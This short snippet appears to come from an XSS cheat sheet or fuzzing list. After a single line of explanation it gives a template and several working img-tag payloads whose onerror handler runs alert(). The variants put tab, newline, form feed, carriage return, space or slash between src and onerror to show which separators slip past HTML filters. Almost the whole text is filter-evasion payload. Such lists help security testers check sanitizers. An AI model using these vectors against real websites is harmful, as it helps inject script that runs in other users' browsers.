This XSS vector shows what characters can be used before the onerror event.
<img src$[chr]onerror=log($[i])><img src0x09onerror=alert(9)><img src
onerror=alert(10)><img src0x0Conerror=alert(12)><img src0x0Donerror=alert(13)><img src onerror=alert(32)><img src/onerror=alert(47)>